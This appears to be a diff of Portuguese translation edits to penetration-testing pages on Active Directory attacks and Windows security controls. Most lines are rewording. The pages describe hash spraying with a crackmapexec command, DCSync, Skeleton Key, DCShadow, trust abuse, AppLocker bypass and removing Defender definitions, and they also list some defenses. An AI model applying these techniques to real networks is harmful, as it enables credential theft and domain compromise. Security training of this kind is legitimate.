### Reutilização de Credenciais
|
||||
|
||||
Se você tiver o **hash** ou a **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com isso.
|
||||
Se você tem o **hash** ou a **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com isso.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> Note que isso é bastante **barulhento** e **LAPS** **mitigaria** isso.
|
||||
> Note que isso é bastante **barulhento** e o **LAPS** **mitigaria** isso.
|
||||
|
||||
### Abuso de MSSQL & Links Confiáveis
|
||||
|
||||
@ -303,7 +303,7 @@ constrained-delegation.md
|
||||
|
||||
### Delegação Baseada em Recursos
|
||||
|
||||
Ter privilégio de **ESCREVER** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
|
||||
Ter privilégio de **GRAVAÇÃO** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Roubo de Certificados
|
||||
|
||||
**Coletar certificados** da máquina comprometida pode ser uma maneira de escalar privilégios dentro do ambiente:
|
||||
**Coletar certificados** da máquina comprometida pode ser uma forma de escalar privilégios dentro do ambiente:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Despejando Credenciais de Domínio
|
||||
|
||||
Uma vez que você obtenha privilégios de **Administrador de Domínio** ou até mesmo melhores **Administradores de Empresa**, você pode **despejar** o **banco de dados do domínio**: _ntds.dit_.
|
||||
Uma vez que você obtenha privilégios de **Administrador de Domínio** ou até mesmo melhores privilégios de **Administrador Empresarial**, você pode **despejar** o **banco de dados do domínio**: _ntds.dit_.
|
||||
|
||||
[**Mais informações sobre o ataque DCSync podem ser encontradas aqui**](dcsync.md).
|
||||
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Grupo AdminSDHolder
|
||||
|
||||
O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Administradores de Domínio e Administradores de Empresa) aplicando uma **Lista de Controle de Acesso (ACL)** padrão em todos esses grupos para evitar alterações não autorizadas. No entanto, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, destinada a proteger, pode, portanto, ter o efeito oposto, permitindo acesso indevido, a menos que monitorado de perto.
|
||||
O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Administradores de Domínio e Administradores Empresariais) aplicando uma **Lista de Controle de Acesso (ACL)** padrão em todos esses grupos para evitar alterações não autorizadas. No entanto, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, destinada a proteger, pode, portanto, ter um efeito contrário, permitindo acesso não autorizado, a menos que monitorado de perto.
|
||||
|
||||
[**Mais informações sobre o Grupo AdminDSHolder aqui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -463,7 +463,7 @@ Os **descritores de segurança** são usados para **armazenar** as **permissões
|
||||
security-descriptors.md
|
||||
{{#endref}}
|
||||
|
||||
### Skeleton Key
|
||||
### Chave Esqueleto
|
||||
|
||||
Alterar **LSASS** na memória para estabelecer uma **senha universal**, concedendo acesso a todas as contas de domínio.
|
||||
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Registra um **novo Controlador de Domínio** no AD e o usa para **empurrar atributos** (SIDHistory, SPNs...) em objetos especificados **sem** deixar quaisquer **logs** sobre as **modificações**. Você **precisa de privilégios de DA** e estar dentro do **domínio raiz**.\
|
||||
Registra um **novo Controlador de Domínio** no AD e o usa para **empurrar atributos** (SIDHistory, SPNs...) em objetos especificados **sem** deixar nenhum **log** sobre as **modificações**. Você **precisa de privilégios de DA** e estar dentro do **domínio raiz**.\
|
||||
Note que se você usar dados errados, logs bem feios aparecerão.
|
||||
|
||||
{{#ref}}
|
||||
@ -506,7 +506,7 @@ A Microsoft vê a **Floresta** como o limite de segurança. Isso implica que **c
|
||||
|
||||
Uma [**confiança de domínio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) é um mecanismo de segurança que permite que um usuário de um **domínio** acesse recursos em outro **domínio**. Ele essencialmente cria uma ligação entre os sistemas de autenticação dos dois domínios, permitindo que as verificações de autenticação fluam sem problemas. Quando os domínios configuram uma confiança, eles trocam e retêm **chaves** específicas dentro de seus **Controladores de Domínio (DCs)**, que são cruciais para a integridade da confiança.
|
||||
|
||||
Em um cenário típico, se um usuário pretende acessar um serviço em um **domínio confiável**, ele deve primeiro solicitar um ticket especial conhecido como um **TGT inter-realm** do DC de seu próprio domínio. Este TGT é criptografado com uma **chave** compartilhada que ambos os domínios concordaram. O usuário então apresenta este TGT ao **DC do domínio confiável** para obter um ticket de serviço (**TGS**). Após a validação bem-sucedida do TGT inter-realm pelo DC do domínio confiável, ele emite um TGS, concedendo ao usuário acesso ao serviço.
|
||||
Em um cenário típico, se um usuário pretende acessar um serviço em um **domínio confiável**, ele deve primeiro solicitar um ticket especial conhecido como um **TGT inter-realm** do DC de seu próprio domínio. Este TGT é criptografado com uma **chave** que ambos os domínios concordaram. O usuário então apresenta este TGT ao **DC do domínio confiável** para obter um ticket de serviço (**TGS**). Após a validação bem-sucedida do TGT inter-realm pelo DC do domínio confiável, ele emite um TGS, concedendo ao usuário acesso ao serviço.
|
||||
|
||||
**Passos**:
|
||||
|
||||
@ -527,9 +527,9 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
|
||||
**Diferentes relações de confiança**
|
||||
|
||||
- **Confianças Pai-Filho**: Esta é uma configuração comum dentro da mesma floresta, onde um domínio filho automaticamente tem uma confiança transitiva bidirecional com seu domínio pai. Essencialmente, isso significa que as solicitações de autenticação podem fluir sem problemas entre o pai e o filho.
|
||||
- **Confianças de Cruzamento**: Referidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente precisam viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cruzamentos, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
|
||||
- **Confianças de Cruzamento**: Referidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente têm que viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cruzamentos, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
|
||||
- **Confianças Externas**: Estas são configuradas entre diferentes domínios não relacionados e são não transitivas por natureza. De acordo com a [documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), as confianças externas são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma confiança de floresta. A segurança é reforçada através da filtragem de SID com confianças externas.
|
||||
- **Confianças de Raiz de Árvore**: Essas confianças são automaticamente estabelecidas entre o domínio raiz da floresta e uma nova raiz de árvore adicionada. Embora não sejam comumente encontradas, as confianças de raiz de árvore são importantes para adicionar novas árvores de domínio a uma floresta, permitindo que mantenham um nome de domínio único e garantindo a transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Confianças de Raiz de Árvore**: Essas confianças são automaticamente estabelecidas entre o domínio raiz da floresta e uma nova raiz de árvore adicionada. Embora não sejam comumente encontradas, as confianças de raiz de árvore são importantes para adicionar novas árvores de domínio a uma floresta, permitindo que mantenham um nome de domínio exclusivo e garantindo a transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Confianças de Floresta**: Este tipo de confiança é uma confiança transitiva bidirecional entre dois domínios raiz de floresta, também aplicando filtragem de SID para melhorar as medidas de segurança.
|
||||
- **Confianças MIT**: Essas confianças são estabelecidas com domínios Kerberos não Windows, [compatíveis com RFC4120](https://tools.ietf.org/html/rfc4120). As confianças MIT são um pouco mais especializadas e atendem a ambientes que exigem integração com sistemas baseados em Kerberos fora do ecossistema Windows.
|
||||
|
||||
@ -542,14 +542,14 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
|
||||
|
||||
1. **Enumerar** as relações de confiança
|
||||
2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** aos recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a confiança foi criada para isso, provavelmente).
|
||||
1. Kerberoast, neste caso, poderia ser outra opção.
|
||||
1. Kerberoast neste caso poderia ser outra opção.
|
||||
3. **Comprometer** as **contas** que podem **pivotar** entre domínios.
|
||||
|
||||
Os atacantes poderiam acessar recursos em outro domínio através de três mecanismos principais:
|
||||
|
||||
- **Membro de Grupo Local**: Os principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
|
||||
- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia desse método depende da natureza da confiança e do escopo do grupo.
|
||||
- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de uma **DACL**, proporcionando-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
|
||||
- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, fornecendo-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
|
||||
|
||||
### Escalonamento de privilégios de floresta de filho para pai
|
||||
```
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### Explorar Configuração NC gravável
|
||||
|
||||
Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes Active Directory (AD). Esses dados são replicados para cada Controlador de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
|
||||
Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes Active Directory (AD). Esses dados são replicados para todos os Controladores de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
|
||||
|
||||
**Vincular GPO ao site DC raiz**
|
||||
|
||||
@ -594,7 +594,7 @@ Para informações detalhadas, pode-se explorar pesquisas sobre [Bypassing SID F
|
||||
|
||||
Um vetor de ataque envolve direcionar gMSAs privilegiados dentro do domínio. A chave raiz KDS, essencial para calcular as senhas dos gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave raiz KDS e calcular as senhas para qualquer gMSA na floresta.
|
||||
|
||||
Análise detalhada pode ser encontrada na discussão sobre [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Análises detalhadas podem ser encontradas na discussão sobre [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Ataque de mudança de esquema**
|
||||
|
||||
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a um principal de **domínios diferentes**.
|
||||
|
||||
No entanto, quando um **domínio é confiável** pelo domínio confiável, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. Isso significa que é possível **acessar um usuário do domínio confiável para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
|
||||
No entanto, quando um **domínio é confiável** pelo domínio confiador, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiador para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -663,14 +663,16 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Autenticação Seletiva:**
|
||||
|
||||
- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que os usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiável.
|
||||
- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que os usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiadora.
|
||||
- É importante notar que essas medidas não protegem contra a exploração do Contexto de Nomeação de Configuração (NC) gravável ou ataques à conta de confiança.
|
||||
|
||||
[**Mais informações sobre confianças de domínio em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Algumas Defesas Gerais
|
||||
|
||||
@ -679,7 +681,7 @@ rdp-sessions-abuse.md
|
||||
### **Medidas Defensivas para Proteção de Credenciais**
|
||||
|
||||
- **Restrições de Administradores de Domínio**: Recomenda-se que os Administradores de Domínio só possam fazer login em Controladores de Domínio, evitando seu uso em outros hosts.
|
||||
- **Privilégios de Conta de Serviço**: Os serviços não devem ser executados com privilégios de Administrador de Domínio (DA) para manter a segurança.
|
||||
- **Privilégios de Conta de Serviço**: Serviços não devem ser executados com privilégios de Administrador de Domínio (DA) para manter a segurança.
|
||||
- **Limitação Temporal de Privilégios**: Para tarefas que exigem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementando Técnicas de Engano**
|
||||
@ -697,7 +699,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
- **Desvio de Detecção do Microsoft ATA**:
|
||||
- **Enumeração de Usuários**: Evitar a enumeração de sessões em Controladores de Domínio para prevenir a detecção do ATA.
|
||||
- **Imitação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
|
||||
- **Impersonação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
|
||||
- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta a partir de um controlador de domínio acionará alertas.
|
||||
|
||||
## Referências
|
||||
|
||||
@ -45,13 +45,15 @@ Se um atacante já comprometeu um computador com [Delegação Não Restrita](unc
|
||||
|
||||
## Autenticação Forçada RCP
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
O ataque `PrivExchange` é resultado de uma falha encontrada no **recurso `PushSubscription` do Exchange Server**. Este recurso permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.
|
||||
O ataque `PrivExchange` é resultado de uma falha encontrada na **funcionalidade `PushSubscription` do Exchange Server**. Esta funcionalidade permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.
|
||||
|
||||
Por padrão, o **serviço Exchange é executado como SYSTEM** e recebe privilégios excessivos (especificamente, possui **privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019**). Essa falha pode ser explorada para permitir o **encaminhamento de informações para o LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio**. Em casos onde o encaminhamento para o LDAP não é possível, essa falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário de domínio autenticada.
|
||||
Por padrão, o **serviço Exchange é executado como SYSTEM** e recebe privilégios excessivos (especificamente, possui **privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019**). Esta falha pode ser explorada para permitir o **encaminhamento de informações para o LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio**. Em casos onde o encaminhamento para o LDAP não é possível, esta falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário autenticada do domínio.
|
||||
|
||||
## Dentro do Windows
|
||||
|
||||
@ -103,6 +105,6 @@ Se você puder realizar um ataque MitM a um computador e injetar HTML em uma pá
|
||||
## Quebrando NTLMv1
|
||||
|
||||
Se você conseguir capturar [desafios NTLMv1 leia aqui como quebrá-los](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Remembre-se de que para quebrar NTLMv1 você precisa definir o desafio do Responder como "1122334455667788"_
|
||||
&#xNAN;_Remember que para quebrar NTLMv1 você precisa definir o desafio do Responder como "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -103,7 +103,7 @@ sc query windefend
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **File Encryption Key (FEK)**. Esta chave é criptografada com a **chave pública** do usuário e armazenada dentro do **fluxo de dados alternativo** $EFS do arquivo criptografado. Quando a descriptografia é necessária, a correspondente **chave privada** do certificado digital do usuário é usada para descriptografar a FEK do fluxo $EFS. Mais detalhes podem ser encontrados [aqui](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **File Encryption Key (FEK)**. Esta chave é criptografada com a **chave pública** do usuário e armazenada dentro do **fluxo de dados alternativo** $EFS do arquivo criptografado. Quando a descriptografia é necessária, a correspondente **chave privada** do certificado digital do usuário é usada para descriptografar o FEK do fluxo $EFS. Mais detalhes podem ser encontrados [aqui](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Cenários de descriptografia sem a iniciação do usuário** incluem:
|
||||
|
||||
@ -114,8 +114,8 @@ Este método de criptografia permite **acesso transparente** a arquivos criptogr
|
||||
|
||||
**Principais Conclusões**:
|
||||
|
||||
- EFS usa uma FEK simétrica, criptografada com a chave pública do usuário.
|
||||
- A descriptografia utiliza a chave privada do usuário para acessar a FEK.
|
||||
- EFS usa um FEK simétrico, criptografado com a chave pública do usuário.
|
||||
- A descriptografia utiliza a chave privada do usuário para acessar o FEK.
|
||||
- A descriptografia automática ocorre sob condições específicas, como copiar para FAT32 ou transmissão pela rede.
|
||||
- Arquivos criptografados são acessíveis ao proprietário sem etapas adicionais.
|
||||
|
||||
@ -134,17 +134,19 @@ Esse método requer que o **usuário vítima** esteja **executando** um **proces
|
||||
|
||||
#### Conhecendo a senha do usuário
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" ativada, os gMSAs oferecem uma solução mais segura e gerenciável:
|
||||
A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" habilitada, os gMSAs oferecem uma solução mais segura e gerenciável:
|
||||
|
||||
- **Gerenciamento Automático de Senhas**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente de acordo com a política de domínio ou computador. Este processo é gerenciado pelo Serviço de Distribuição de Chaves (KDC) da Microsoft, eliminando a necessidade de atualizações manuais de senha.
|
||||
- **Segurança Aprimorada**: Essas contas são imunes a bloqueios e não podem ser usadas para logins interativos, aumentando sua segurança.
|
||||
- **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhados entre vários hosts, tornando-os ideais para serviços que rodam em vários servidores.
|
||||
- **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhados entre vários hosts, tornando-os ideais para serviços que rodam em múltiplos servidores.
|
||||
- **Capacidade de Tarefas Agendadas**: Ao contrário das contas de serviço gerenciadas, gMSAs suportam a execução de tarefas agendadas.
|
||||
- **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal de Serviço (SPN) quando há alterações nos detalhes do sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
|
||||
- **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal do Serviço (SPN) quando há alterações nos detalhes do sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
|
||||
|
||||
As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografados conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais os gMSAs estão instalados, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
|
||||
|
||||
@ -156,11 +158,11 @@ Você pode ler esta senha com [**GMSAPasswordReader**](https://github.com/rvazar
|
||||
```
|
||||
[**Encontre mais informações neste post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Além disso, confira esta [página da web](https://cube0x0.github.io/Relaying-for-gMSA/) sobre como realizar um **ataque de retransmissão NTLM** para **ler** a **senha** do **gMSA**.
|
||||
Além disso, verifique esta [página da web](https://cube0x0.github.io/Relaying-for-gMSA/) sobre como realizar um **ataque de retransmissão NTLM** para **ler** a **senha** do **gMSA**.
|
||||
|
||||
## LAPS
|
||||
|
||||
A **Solução de Senha do Administrador Local (LAPS)**, disponível para download na [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **trocadas regularmente**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito através de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
|
||||
A **Solução de Senha do Administrador Local (LAPS)**, disponível para download no [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **regularmente alteradas**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por meio de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
|
||||
|
||||
{{#ref}}
|
||||
active-directory-methodology/laps.md
|
||||
@ -246,5 +248,4 @@ O SSPI será responsável por encontrar o protocolo adequado para duas máquinas
|
||||
windows-security-controls/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -37,7 +37,7 @@ C:\windows\tracing
|
||||
- **Regras mal escritas também podem ser contornadas**
|
||||
- Por exemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, você pode criar uma **pasta chamada `allowed`** em qualquer lugar e ela será permitida.
|
||||
- As organizações também costumam se concentrar em **bloquear o executável `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mas esquecem das **outras** [**localizações de executáveis do PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
|
||||
- **A imposição de DLL raramente é ativada** devido à carga adicional que pode colocar em um sistema e à quantidade de testes necessários para garantir que nada quebre. Portanto, usar **DLLs como backdoors ajudará a contornar o AppLocker**.
|
||||
- **A aplicação de DLL raramente é habilitada** devido à carga adicional que pode colocar em um sistema e à quantidade de testes necessários para garantir que nada quebre. Portanto, usar **DLLs como backdoors ajudará a contornar o AppLocker**.
|
||||
- Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e contornar o AppLocker. Para mais informações, consulte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Armazenamento de Credenciais
|
||||
@ -101,9 +101,9 @@ sc query windefend
|
||||
#Delete all rules of Defender (useful for machines without internet access)
|
||||
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
## Sistema de Arquivos Criptografado (EFS)
|
||||
|
||||
EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **File Encryption Key (FEK)**. Esta chave é criptografada com a **chave pública** do usuário e armazenada dentro do **fluxo de dados alternativo** $EFS do arquivo criptografado. Quando a descriptografia é necessária, a correspondente **chave privada** do certificado digital do usuário é usada para descriptografar a FEK do fluxo $EFS. Mais detalhes podem ser encontrados [aqui](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **Chave de Criptografia de Arquivo (FEK)**. Esta chave é criptografada com a **chave pública** do usuário e armazenada dentro do **fluxo de dados alternativo** $EFS do arquivo criptografado. Quando a descriptografia é necessária, a correspondente **chave privada** do certificado digital do usuário é usada para descriptografar a FEK do fluxo $EFS. Mais detalhes podem ser encontrados [aqui](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Cenários de descriptografia sem a iniciação do usuário** incluem:
|
||||
|
||||
@ -130,23 +130,25 @@ Você também pode usar `cipher /e` e `cipher /d` dentro de uma pasta para **cri
|
||||
|
||||
#### Sendo Autoridade do Sistema
|
||||
|
||||
Esse método requer que o **usuário vítima** esteja **executando** um **processo** dentro do host. Se esse for o caso, usando uma sessão `meterpreter`, você pode impersonar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você poderia apenas `migrate` para o processo do usuário.
|
||||
Esse método requer que o **usuário vítima** esteja **executando** um **processo** dentro do host. Se esse for o caso, usando sessões `meterpreter`, você pode personificar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você poderia apenas `migrate` para o processo do usuário.
|
||||
|
||||
#### Conhecendo a senha dos usuários
|
||||
#### Conhecendo a senha do usuário
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
## Contas de Serviço Gerenciadas em Grupo (gMSA)
|
||||
|
||||
A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" ativada, os gMSAs oferecem uma solução mais segura e gerenciável:
|
||||
A Microsoft desenvolveu **Contas de Serviço Gerenciadas em Grupo (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" ativada, as gMSAs oferecem uma solução mais segura e gerenciável:
|
||||
|
||||
- **Gerenciamento Automático de Senhas**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente de acordo com a política de domínio ou computador. Este processo é gerenciado pelo Serviço de Distribuição de Chaves (KDC) da Microsoft, eliminando a necessidade de atualizações manuais de senha.
|
||||
